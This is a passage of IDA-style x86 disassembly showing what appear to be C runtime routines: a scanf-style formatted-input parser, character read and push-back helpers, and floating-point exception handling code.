jg loc_421211
jz loc_4214C3
cmp esi, 63h
jz loc_4211EE
cmp esi, 64h
jz loc_4214C3
jle loc_42123B
cmp esi, 67h
jle short loc_42100E
cmp esi, 69h
jz short loc_420FF6
cmp esi, 6Eh
jnz loc_42123B
cmp [ebp+var_E], 0
mov edi, [ebp+var_4]
jz loc_4216F1
jmp loc_421717
; ---------------------------------------------------------------------------
loc_420FF6: ; CODE XREF: sub_420DB0+229j
push 64h
pop esi
loc_420FF9: ; CODE XREF: sub_420DB0+480j
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz loc_421283
mov [ebp+var_17], 1
jmp loc_421288
; ---------------------------------------------------------------------------
loc_42100E: ; CODE XREF: sub_420DB0+224j
mov ebx, [ebp+var_14]
lea esi, [ebp+var_1C4]
cmp ebx, 2Dh
jnz short loc_42102A
mov [ebp+var_1C4], bl
lea esi, [ebp+var_1C3]
jmp short loc_42102F
; ---------------------------------------------------------------------------
loc_42102A: ; CODE XREF: sub_420DB0+26Aj
cmp ebx, 2Bh
jnz short loc_421046
loc_42102F: ; CODE XREF: sub_420DB0+278j
mov edi, [ebp+arg_0]
dec [ebp+var_C]
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_421049
; ---------------------------------------------------------------------------
loc_421046: ; CODE XREF: sub_420DB0+27Dj
mov edi, [ebp+arg_0]
loc_421049: ; CODE XREF: sub_420DB0+294j
cmp [ebp+var_20], 0
jz short loc_421058
cmp [ebp+var_C], 15Dh
jle short loc_42105F
loc_421058: ; CODE XREF: sub_420DB0+29Dj
mov [ebp+var_C], 15Dh
loc_42105F: ; CODE XREF: sub_420DB0+2A6j
; sub_420DB0+2F2j
cmp dword_43D084, 1
jle short loc_421074
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_42107F
; ---------------------------------------------------------------------------
loc_421074: ; CODE XREF: sub_420DB0+2B6j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_42107F: ; CODE XREF: sub_420DB0+2C2j
test eax, eax
jz short loc_4210A4
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4210A4
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_42105F
; ---------------------------------------------------------------------------
loc_4210A4: ; CODE XREF: sub_420DB0+2D1j
; sub_420DB0+2DBj
cmp byte_43D088, bl
jnz short loc_421112
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_421112
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
mov al, byte_43D088
mov [esi], al
pop ecx
mov [ebp+var_14], ebx
inc esi
loc_4210CD: ; CODE XREF: sub_420DB0+360j
cmp dword_43D084, 1
jle short loc_4210E2
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_4210ED
; ---------------------------------------------------------------------------
loc_4210E2: ; CODE XREF: sub_420DB0+324j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_4210ED: ; CODE XREF: sub_420DB0+330j
test eax, eax
jz short loc_421112
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_421112
inc [ebp+var_1C]
mov [esi], bl
inc esi
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4210CD
; ---------------------------------------------------------------------------
loc_421112: ; CODE XREF: sub_420DB0+2FAj
; sub_420DB0+304j ...
cmp [ebp+var_1C], 0
jz loc_4211AA
cmp ebx, 65h
jz short loc_42112A
cmp ebx, 45h
jnz loc_4211AA
loc_42112A: ; CODE XREF: sub_420DB0+36Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4211AA
mov byte ptr [esi], 65h
inc esi
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
cmp ebx, 2Dh
mov [ebp+var_14], ebx
jnz short loc_421151
mov [esi], al
inc esi
jmp short loc_421156
; ---------------------------------------------------------------------------
loc_421151: ; CODE XREF: sub_420DB0+39Aj
cmp ebx, 2Bh
jnz short loc_421174
loc_421156: ; CODE XREF: sub_420DB0+39Fj
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jnz short loc_421165
and [ebp+var_C], eax
jmp short loc_421174
; ---------------------------------------------------------------------------
loc_421165: ; CODE XREF: sub_420DB0+3AEj
; sub_420DB0+3F8j
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_421174: ; CODE XREF: sub_420DB0+3A4j
; sub_420DB0+3B3j
cmp dword_43D084, 1
jle short loc_421189
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421194
; ---------------------------------------------------------------------------
loc_421189: ; CODE XREF: sub_420DB0+3CBj
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_421194: ; CODE XREF: sub_420DB0+3D7j
test eax, eax
jz short loc_4211AA
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz short loc_4211AA
inc [ebp+var_1C]
mov [esi], bl
inc esi
jmp short loc_421165
; ---------------------------------------------------------------------------
loc_4211AA: ; CODE XREF: sub_420DB0+366j
; sub_420DB0+374j ...
dec [ebp+var_4]
push edi
push ebx
call sub_421826
cmp [ebp+var_1C], 0
pop ecx
pop ecx
jz loc_4217B6
cmp [ebp+var_E], 0
jnz loc_421717
inc [ebp+var_34]
and byte ptr [esi], 0
lea eax, [ebp+var_1C4]
push eax
movsx eax, [ebp+var_D]
push [ebp+var_2C]
dec eax
push eax
call off_43D428
add esp, 0Ch
jmp loc_421717
; ---------------------------------------------------------------------------
loc_4211EE: ; CODE XREF: sub_420DB0+20Cj
cmp [ebp+var_20], eax
jnz short loc_4211FD
inc [ebp+var_C]
mov [ebp+var_20], 1
loc_4211FD: ; CODE XREF: sub_420DB0+441j
cmp [ebp+var_5], 0
jle short loc_421207
mov [ebp+var_16], 1
loc_421207: ; CODE XREF: sub_420DB0+451j
mov edi, offset dword_43D300
jmp loc_42131C
; ---------------------------------------------------------------------------
loc_421211: ; CODE XREF: sub_420DB0+1FDj
mov eax, esi
sub eax, 70h
jz loc_4214BF
sub eax, 3
jz loc_42130D
dec eax
dec eax
jz loc_4214C3
sub eax, 3
jz loc_420FF9
sub eax, 3
jz short loc_42125F
loc_42123B: ; CODE XREF: sub_420DB0+21Bj
; sub_420DB0+22Ej
movzx eax, byte ptr [ebx]
cmp eax, [ebp+var_14]
jnz loc_421786
dec [ebp+var_15]
cmp [ebp+var_E], 0
jnz loc_421717
mov eax, [ebp+var_44]
mov [ebp+arg_8], eax
jmp loc_421717
; ---------------------------------------------------------------------------
loc_42125F: ; CODE XREF: sub_420DB0+489j
cmp [ebp+var_5], 0
jle short loc_421269
mov [ebp+var_16], 1
loc_421269: ; CODE XREF: sub_420DB0+4B3j
mov edi, [ebp+arg_4]
inc edi
mov [ebp+arg_4], edi
cmp byte ptr [edi], 5Eh
jnz loc_421320
mov eax, edi
lea edi, [eax+1]
jmp loc_42131C
; ---------------------------------------------------------------------------
loc_421283: ; CODE XREF: sub_420DB0+24Fj
cmp ebx, 2Bh
jnz short loc_4212AA
loc_421288: ; CODE XREF: sub_420DB0+259j
dec [ebp+var_C]
jnz short loc_421299
cmp [ebp+var_20], 0
jz short loc_421299
mov [ebp+var_F], 1
jmp short loc_4212AA
; ---------------------------------------------------------------------------
loc_421299: ; CODE XREF: sub_420DB0+4DBj
; sub_420DB0+4E1j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_4212AA: ; CODE XREF: sub_420DB0+4D6j
; sub_420DB0+4E7j
cmp ebx, 30h
jnz loc_4214F8
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
mov ebx, eax
pop ecx
cmp bl, 78h
mov [ebp+var_14], ebx
jz short loc_4212F8
cmp bl, 58h
jz short loc_4212F8
cmp esi, 78h
mov [ebp+var_1C], 1
jz short loc_4212E2
push 6Fh
loc_4212DC: ; CODE XREF: sub_420DB0+55Bj
pop esi
jmp loc_4214F8
; ---------------------------------------------------------------------------
loc_4212E2: ; CODE XREF: sub_420DB0+528j
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_421826
pop ecx
pop ecx
push 30h
pop ebx
jmp loc_4214F5
; ---------------------------------------------------------------------------
loc_4212F8: ; CODE XREF: sub_420DB0+517j
; sub_420DB0+51Cj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
pop ecx
mov ebx, eax
mov [ebp+var_14], ebx
push 78h
jmp short loc_4212DC
; ---------------------------------------------------------------------------
loc_42130D: ; CODE XREF: sub_420DB0+46Fj
cmp [ebp+var_5], 0
jle short loc_421317
mov [ebp+var_16], 1
loc_421317: ; CODE XREF: sub_420DB0+561j
mov edi, offset dword_43D2F8
loc_42131C: ; CODE XREF: sub_420DB0+45Cj
; sub_420DB0+4CEj
or [ebp+var_18], 0FFh
loc_421320: ; CODE XREF: sub_420DB0+4C3j
push 20h
lea eax, [ebp+var_64]
push 0
push eax
call sub_41BF70
add esp, 0Ch
cmp [ebp+var_3C], 7Bh
jnz short loc_421344
cmp byte ptr [edi], 5Dh
jnz short loc_421344
mov dl, 5Dh
inc edi
mov [ebp+var_59], 20h
jmp short loc_421347
; ---------------------------------------------------------------------------
loc_421344: ; CODE XREF: sub_420DB0+584j
; sub_420DB0+589j
mov dl, [ebp+var_35]
loc_421347: ; CODE XREF: sub_420DB0+592j
; sub_420DB0+5E1j ...
mov al, [edi]
cmp al, 5Dh
jz short loc_4213AC
inc edi
cmp al, 2Dh
jnz short loc_421393
test dl, dl
jz short loc_421393
mov cl, [edi]
cmp cl, 5Dh
jz short loc_421393
inc edi
cmp dl, cl
jnb short loc_421366
mov al, cl
jmp short loc_42136A
; ---------------------------------------------------------------------------
loc_421366: ; CODE XREF: sub_420DB0+5B0j
mov al, dl
mov dl, cl
loc_42136A: ; CODE XREF: sub_420DB0+5B4j
cmp dl, al
ja short loc_42138F
movzx edx, dl
movzx esi, al
sub esi, edx
inc esi
loc_421377: ; CODE XREF: sub_420DB0+5DDj
mov ecx, edx
mov eax, edx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
inc edx
dec esi
jnz short loc_421377
loc_42138F: ; CODE XREF: sub_420DB0+5BCj
xor dl, dl
jmp short loc_421347
; ---------------------------------------------------------------------------
loc_421393: ; CODE XREF: sub_420DB0+5A0j
; sub_420DB0+5A4j ...
movzx ecx, al
mov dl, al
mov eax, ecx
and ecx, 7
mov bl, 1
shr eax, 3
shl bl, cl
lea eax, [ebp+eax+var_64]
or [eax], bl
jmp short loc_421347
; ---------------------------------------------------------------------------
loc_4213AC: ; CODE XREF: sub_420DB0+59Bj
cmp byte ptr [edi], 0
jz loc_4217B6
cmp [ebp+var_3C], 7Bh
jnz short loc_4213BE
mov [ebp+arg_4], edi
loc_4213BE: ; CODE XREF: sub_420DB0+609j
mov edi, [ebp+arg_0]
mov esi, [ebp+var_2C]
dec [ebp+var_4]
push edi
push [ebp+var_14]
mov [ebp+var_30], esi
call sub_421826
pop ecx
pop ecx
loc_4213D5: ; CODE XREF: sub_420DB0+6BCj
; sub_420DB0+6C4j
cmp [ebp+var_20], 0
jz short loc_4213E9
mov eax, [ebp+var_C]
dec [ebp+var_C]
test eax, eax
jz loc_421485
loc_4213E9: ; CODE XREF: sub_420DB0+629j
inc [ebp+var_4]
push edi
call sub_42180C
cmp eax, 0FFFFFFFFh
pop ecx
mov [ebp+var_14], eax
jz short loc_421479
mov ecx, eax
push 1
and ecx, 7
pop edx
movsx ebx, [ebp+var_18]
shl edx, cl
mov ecx, eax
sar ecx, 3
movsx ecx, [ebp+ecx+var_64]
xor ecx, ebx
test edx, ecx
jz short loc_421479
cmp [ebp+var_E], 0
jnz short loc_421471
cmp [ebp+var_16], 0
jz short loc_421466
mov ecx, off_43CE78
mov [ebp+var_38], al
movzx eax, al
test byte ptr [ecx+eax*2+1], 80h
jz short loc_421445
inc [ebp+var_4]
push edi
call sub_42180C
pop ecx
mov [ebp+var_37], al
loc_421445: ; CODE XREF: sub_420DB0+686j
push dword_43D084
lea eax, [ebp+var_38]
push eax
lea eax, [ebp+var_3E]
push eax
call sub_4246CB
mov ax, [ebp+var_3E]
add esp, 0Ch
mov [esi], ax
inc esi
inc esi
jmp short loc_421469
; ---------------------------------------------------------------------------
loc_421466: ; CODE XREF: sub_420DB0+673j
mov [esi], al
inc esi
loc_421469: ; CODE XREF: sub_420DB0+6B4j
mov [ebp+var_2C], esi
jmp loc_4213D5
; ---------------------------------------------------------------------------
loc_421471: ; CODE XREF: sub_420DB0+66Dj
inc [ebp+var_30]
jmp loc_4213D5
; ---------------------------------------------------------------------------
loc_421479: ; CODE XREF: sub_420DB0+649j
; sub_420DB0+667j
dec [ebp+var_4]
push edi
push eax
call sub_421826
pop ecx
pop ecx
loc_421485: ; CODE XREF: sub_420DB0+633j
cmp [ebp+var_30], esi
jz loc_4217B6
cmp [ebp+var_E], 0
jnz loc_421717
inc [ebp+var_34]
cmp [ebp+var_3C], 63h
jz loc_421717
cmp [ebp+var_16], 0
mov eax, [ebp+var_2C]
jz short loc_4214B7
and word ptr [eax], 0
jmp loc_421717
; ---------------------------------------------------------------------------
loc_4214B7: ; CODE XREF: sub_420DB0+6FCj
and byte ptr [eax], 0
jmp loc_421717
; ---------------------------------------------------------------------------
loc_4214BF: ; CODE XREF: sub_420DB0+466j
mov [ebp+var_D], 1
loc_4214C3: ; CODE XREF: sub_420DB0+203j
; sub_420DB0+215j ...
mov ebx, [ebp+var_14]
cmp ebx, 2Dh
jnz short loc_4214D1
mov [ebp+var_17], 1
jmp short loc_4214D6
; ---------------------------------------------------------------------------
loc_4214D1: ; CODE XREF: sub_420DB0+719j
cmp ebx, 2Bh
jnz short loc_4214F8
loc_4214D6: ; CODE XREF: sub_420DB0+71Fj
dec [ebp+var_C]
jnz short loc_4214E7
cmp [ebp+var_20], 0
jz short loc_4214E7
mov [ebp+var_F], 1
jmp short loc_4214F8
; ---------------------------------------------------------------------------
loc_4214E7: ; CODE XREF: sub_420DB0+729j
; sub_420DB0+72Fj
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
pop ecx
mov ebx, eax
loc_4214F5: ; CODE XREF: sub_420DB0+543j
mov [ebp+var_14], ebx
loc_4214F8: ; CODE XREF: sub_420DB0+4FDj
; sub_420DB0+52Dj ...
cmp [ebp+var_30], 0
jz loc_421611
cmp [ebp+var_F], 0
jnz loc_4215EF
loc_42150C: ; CODE XREF: sub_420DB0+82Cj
cmp esi, 78h
jnz short loc_421560
cmp dword_43D084, 1
jle short loc_421529
push 80h
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421536
; ---------------------------------------------------------------------------
loc_421529: ; CODE XREF: sub_420DB0+768j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 80h
loc_421536: ; CODE XREF: sub_420DB0+777j
test eax, eax
jz loc_4215E1
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 4
pop ecx
call sub_4247A0
push ebx
mov [ebp+var_28], eax
mov [ebp+var_24], edx
call sub_4217D5
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp short loc_4215B3
; ---------------------------------------------------------------------------
loc_421560: ; CODE XREF: sub_420DB0+75Fj
cmp dword_43D084, 1
jle short loc_421575
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421580
; ---------------------------------------------------------------------------
loc_421575: ; CODE XREF: sub_420DB0+7B7j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_421580: ; CODE XREF: sub_420DB0+7C3j
test eax, eax
jz short loc_4215E1
cmp esi, 6Fh
jnz short loc_42159E
cmp ebx, 38h
jge short loc_4215E1
mov eax, [ebp+var_28]
mov edx, [ebp+var_24]
push 3
pop ecx
call sub_4247A0
jmp short loc_4215AD
; ---------------------------------------------------------------------------
loc_42159E: ; CODE XREF: sub_420DB0+7D7j
push 0
push 0Ah
push [ebp+var_24]
push [ebp+var_28]
call sub_41DB20
loc_4215AD: ; CODE XREF: sub_420DB0+7ECj
mov [ebp+var_28], eax
mov [ebp+var_24], edx
loc_4215B3: ; CODE XREF: sub_420DB0+7AEj
inc [ebp+var_1C]
lea eax, [ebx-30h]
cdq
add [ebp+var_28], eax
adc [ebp+var_24], edx
cmp [ebp+var_20], 0
jz short loc_4215CB
dec [ebp+var_C]
jz short loc_4215EF
loc_4215CB: ; CODE XREF: sub_420DB0+814j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_42150C
; ---------------------------------------------------------------------------
loc_4215E1: ; CODE XREF: sub_420DB0+788j
; sub_420DB0+7D2j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_421826
pop ecx
pop ecx
loc_4215EF: ; CODE XREF: sub_420DB0+756j
; sub_420DB0+819j
cmp [ebp+var_17], 0
jz loc_4216D5
mov eax, [ebp+var_28]
mov ecx, [ebp+var_24]
neg eax
adc ecx, 0
mov [ebp+var_28], eax
neg ecx
mov [ebp+var_24], ecx
jmp loc_4216D5
; ---------------------------------------------------------------------------
loc_421611: ; CODE XREF: sub_420DB0+74Cj
cmp [ebp+var_F], 0
jnz loc_4216CD
loc_42161B: ; CODE XREF: sub_420DB0+90Aj
cmp esi, 78h
jz short loc_42165F
cmp esi, 70h
jz short loc_42165F
cmp dword_43D084, 1
jle short loc_42163A
push 4
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421645
; ---------------------------------------------------------------------------
loc_42163A: ; CODE XREF: sub_420DB0+87Cj
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 4
loc_421645: ; CODE XREF: sub_420DB0+888j
test eax, eax
jz short loc_4216BF
cmp esi, 6Fh
jnz short loc_421658
cmp ebx, 38h
jge short loc_4216BF
shl edi, 3
jmp short loc_421697
; ---------------------------------------------------------------------------
loc_421658: ; CODE XREF: sub_420DB0+89Cj
lea edi, [edi+edi*4]
shl edi, 1
jmp short loc_421697
; ---------------------------------------------------------------------------
loc_42165F: ; CODE XREF: sub_420DB0+86Ej
; sub_420DB0+873j
cmp dword_43D084, 1
jle short loc_421677
push 80h
push ebx
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_421684
; ---------------------------------------------------------------------------
loc_421677: ; CODE XREF: sub_420DB0+8B6j
mov eax, off_43CE78
mov al, [eax+ebx*2]
and eax, 80h
loc_421684: ; CODE XREF: sub_420DB0+8C5j
test eax, eax
jz short loc_4216BF
push ebx
shl edi, 4
call sub_4217D5
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
loc_421697: ; CODE XREF: sub_420DB0+8A6j
; sub_420DB0+8ADj
inc [ebp+var_1C]
cmp [ebp+var_20], 0
lea edi, [edi+ebx-30h]
jz short loc_4216A9
dec [ebp+var_C]
jz short loc_4216CD
loc_4216A9: ; CODE XREF: sub_420DB0+8F2j
push [ebp+arg_0]
inc [ebp+var_4]
call sub_42180C
mov ebx, eax
pop ecx
mov [ebp+var_14], ebx
jmp loc_42161B
; ---------------------------------------------------------------------------
loc_4216BF: ; CODE XREF: sub_420DB0+897j
; sub_420DB0+8A1j ...
push [ebp+arg_0]
dec [ebp+var_4]
push ebx
call sub_421826
pop ecx
pop ecx
loc_4216CD: ; CODE XREF: sub_420DB0+865j
; sub_420DB0+8F7j
cmp [ebp+var_17], 0
jz short loc_4216D5
neg edi
loc_4216D5: ; CODE XREF: sub_420DB0+843j
; sub_420DB0+85Cj ...
cmp esi, 46h
jnz short loc_4216DE
and [ebp+var_1C], 0
loc_4216DE: ; CODE XREF: sub_420DB0+928j
cmp [ebp+var_1C], 0
jz loc_4217B6
cmp [ebp+var_E], 0
jnz short loc_421717
inc [ebp+var_34]
loc_4216F1: ; CODE XREF: sub_420DB0+23Bj
cmp [ebp+var_30], 0
jz short loc_421707
mov eax, [ebp+var_2C]
mov ecx, [ebp+var_28]
mov [eax], ecx
mov ecx, [ebp+var_24]
mov [eax+4], ecx
jmp short loc_421717
; ---------------------------------------------------------------------------
loc_421707: ; CODE XREF: sub_420DB0+945j
cmp [ebp+var_D], 0
mov eax, [ebp+var_2C]
jz short loc_421714
mov [eax], edi
jmp short loc_421717
; ---------------------------------------------------------------------------
loc_421714: ; CODE XREF: sub_420DB0+95Ej
mov [eax], di
loc_421717: ; CODE XREF: sub_420DB0+241j
; sub_420DB0+414j ...
inc [ebp+var_15]
inc [ebp+arg_4]
mov esi, [ebp+arg_4]
jmp short loc_421764
; ---------------------------------------------------------------------------
loc_421722: ; CODE XREF: sub_420DB0+93j
inc [ebp+var_4]
push edi
call sub_42180C
mov ebx, eax
pop ecx
movzx eax, byte ptr [esi]
inc esi
cmp eax, ebx
mov [ebp+var_14], ebx
mov [ebp+arg_4], esi
jnz short loc_421791
mov ecx, off_43CE78
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_421764
inc [ebp+var_4]
push edi
call sub_42180C
pop ecx
movzx ecx, byte ptr [esi]
inc esi
cmp ecx, eax
mov [ebp+arg_4], esi
jnz short loc_42179F
dec [ebp+var_4]
loc_421764: ; CODE XREF: sub_420DB0+970j
; sub_420DB0+99Aj
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_42177A
cmp byte ptr [esi], 25h
jnz short loc_4217BC
mov eax, [ebp+arg_4]
cmp byte ptr [eax+1], 6Eh
jnz short loc_4217BC
mov esi, eax
loc_42177A: ; CODE XREF: sub_420DB0+9B8j
mov al, [esi]
test al, al
jnz loc_420DDA
jmp short loc_4217B6
; ---------------------------------------------------------------------------
loc_421786: ; CODE XREF: sub_420DB0+1F4j
; sub_420DB0+491j
push [ebp+arg_0]
dec [ebp+var_4]
push [ebp+var_14]
jmp short loc_421796
; ---------------------------------------------------------------------------
loc_421791: ; CODE XREF: sub_420DB0+98Aj
dec [ebp+var_4]
push edi
push ebx
loc_421796: ; CODE XREF: sub_420DB0+9DFj
call sub_421826
pop ecx
pop ecx
jmp short loc_4217B6
; ---------------------------------------------------------------------------
loc_42179F: ; CODE XREF: sub_420DB0+9AFj
dec [ebp+var_4]
push edi
push eax
call sub_421826
dec [ebp+var_4]
push edi
push ebx
call sub_421826
add esp, 10h
loc_4217B6: ; CODE XREF: sub_420DB0+1Fj
; sub_420DB0+40Aj ...
cmp [ebp+var_14], 0FFFFFFFFh
jnz short loc_4217CD
loc_4217BC: ; CODE XREF: sub_420DB0+9BDj
; sub_420DB0+9C6j
mov eax, [ebp+var_34]
test eax, eax
jnz short loc_4217D0
cmp [ebp+var_15], al
jnz short loc_4217D0
or eax, 0FFFFFFFFh
jmp short loc_4217D0
; ---------------------------------------------------------------------------
loc_4217CD: ; CODE XREF: sub_420DB0+A0Aj
mov eax, [ebp+var_34]
loc_4217D0: ; CODE XREF: sub_420DB0+A11j
; sub_420DB0+A16j ...
pop edi
pop esi
pop ebx
leave
retn
sub_420DB0 endp
; =============== S U B R O U T I N E =======================================
sub_4217D5 proc near ; CODE XREF: sub_420DB0+7A3p
; sub_420DB0+8DCp
arg_0 = dword ptr 4
cmp dword_43D084, 1
push esi
jle short loc_4217EF
mov esi, [esp+4+arg_0]
push 4
push esi
call sub_41FDB5
pop ecx
pop ecx
jmp short loc_4217FE
; ---------------------------------------------------------------------------
loc_4217EF: ; CODE XREF: sub_4217D5+8j
mov esi, [esp+4+arg_0]
mov eax, off_43CE78
mov al, [eax+esi*2]
and eax, 4
loc_4217FE: ; CODE XREF: sub_4217D5+18j
test eax, eax
jnz short loc_421808
and esi, 0FFFFFFDFh
sub esi, 7
loc_421808: ; CODE XREF: sub_4217D5+2Bj
mov eax, esi
pop esi
retn
sub_4217D5 endp
; =============== S U B R O U T I N E =======================================
sub_42180C proc near ; CODE XREF: sub_420DB0+1E1p
; sub_420DB0+289p ...
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
dec dword ptr [edx+4]
js short loc_42181E
mov ecx, [edx]
movzx eax, byte ptr [ecx]
inc ecx
mov [edx], ecx
retn
; ---------------------------------------------------------------------------
loc_42181E: ; CODE XREF: sub_42180C+7j
push edx
call sub_41F8E3
pop ecx
retn
sub_42180C endp
; =============== S U B R O U T I N E =======================================
sub_421826 proc near ; CODE XREF: sub_420DB0+6Bp
; sub_420DB0+3FFp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp [esp+arg_0], 0FFFFFFFFh
jz short locret_42183C
push [esp+arg_4]
push [esp+4+arg_0]
call sub_4247BF
pop ecx
pop ecx
locret_42183C: ; CODE XREF: sub_421826+5j
retn
sub_421826 endp
; =============== S U B R O U T I N E =======================================
sub_42183D proc near ; CODE XREF: sub_420DB0+63p
; sub_420DB0+1D3p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
push edi
loc_421843: ; CODE XREF: sub_42183D+1Dj
push [esp+8+arg_4]
inc dword ptr [esi]
call sub_42180C
mov edi, eax
push edi
call sub_41DF10
pop ecx
test eax, eax
pop ecx
jnz short loc_421843
mov eax, edi
pop edi
pop esi
retn
sub_42183D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __fastcall sub_421861(int,int,double,int)
sub_421861 proc near ; CODE XREF: sub_41D055+51p
; sub_41D19B+51p
var_1C = qword ptr -1Ch
var_14 = qword ptr -14h
var_C = qword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_C = dword ptr 14h
push ebp
mov ebp, esp
cmp dword_43D7F0, 0
jnz short loc_421896
push [ebp+arg_C] ; int
fld qword ptr [ebp+arg_4]
push ecx
push ecx ; double
fstp [esp+0Ch+var_C]
push ecx ; int
push ecx ; int
fldz
fstp [esp+14h+var_14]
fld qword ptr [ebp+arg_4]
push ecx ; int
push ecx ; int
fstp [esp+1Ch+var_1C]
push [ebp+arg_0] ; int
push 1 ; int
call sub_421E16
add esp, 24h
pop ebp
retn
; ---------------------------------------------------------------------------
loc_421896: ; CODE XREF: sub_421861+Aj
push 0FFFFh
mov dword_4DBDDC, 21h
push [ebp+arg_C]
call sub_422089
fld qword ptr [ebp+arg_4]
pop ecx
pop ecx
pop ebp
retn
sub_421861 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4218B4(int,int,double,double,int)
sub_4218B4 proc near ; CODE XREF: sub_41D055:loc_41D118p
; sub_41D19B:loc_41D25Ep
var_74 = qword ptr -74h
var_6C = qword ptr -6Ch
var_64 = qword ptr -64h
var_5C = dword ptr -5Ch
var_58 = byte ptr -58h
var_20 = dword ptr -20h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = qword ptr 10h
arg_10 = qword ptr 18h
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
sub esp, 58h
push [ebp+arg_18]
lea eax, [ebp+arg_10]
push eax
push [ebp+arg_0]
call sub_421BFF
add esp, 0Ch
test eax, eax
jnz short loc_4218F2
lea eax, [ebp+arg_10]
and [ebp+var_20], 0FFFFFFFEh
push eax
lea eax, [ebp+arg_8]
push eax
lea eax, [ebp+arg_18]
push [ebp+arg_4]
push [ebp+arg_0]
push eax
lea eax, [ebp+var_58]
push eax
call sub_42194C
add esp, 18h
loc_4218F2: ; CODE XREF: sub_4218B4+1Aj
push [ebp+arg_0]
call sub_421EE9
cmp dword_43D7F0, 0
pop ecx
jnz short loc_421930
test eax, eax
jz short loc_421930
push [ebp+arg_18] ; int
fld [ebp+arg_10]
push ecx
push ecx ; double
fstp [esp+64h+var_64]
push ecx ; int
push ecx ; int
fldz
fstp [esp+6Ch+var_6C]
fld [ebp+arg_8]
push ecx ; int
push ecx ; int
fstp [esp+74h+var_74]
push [ebp+arg_4] ; int
push eax ; int
call sub_421E16
add esp, 24h
leave
retn
; ---------------------------------------------------------------------------
loc_421930: ; CODE XREF: sub_4218B4+4Ej
; sub_4218B4+52j
push eax
call sub_421E9E
mov [esp+5Ch+var_5C], 0FFFFh
push [ebp+arg_18]
call sub_422089
fld [ebp+arg_10]
pop ecx
pop ecx
leave
retn
sub_4218B4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42194C proc near ; CODE XREF: sub_4218B4+36p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_0]
xor eax, eax
push ebx
push esi
mov [ecx+4], eax
mov ecx, [ebp+arg_0]
push edi
push 1
mov [ecx+8], eax
mov ecx, [ebp+arg_0]
pop ebx
mov [ecx+0Ch], eax
mov cl, byte ptr [ebp+arg_8]
test cl, 10h
jz short loc_42197E
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Fh
or [eax+4], ebx
loc_42197E: ; CODE XREF: sub_42194C+23j
test cl, 2
jz short loc_421991
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000093h
or dword ptr [eax+4], 2
loc_421991: ; CODE XREF: sub_42194C+35j
test cl, bl
jz short loc_4219A3
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C0000091h
or dword ptr [eax+4], 4
loc_4219A3: ; CODE XREF: sub_42194C+47j
test cl, 4
jz short loc_4219B6
mov eax, [ebp+arg_0]
mov [ebp+arg_8], 0C000008Eh
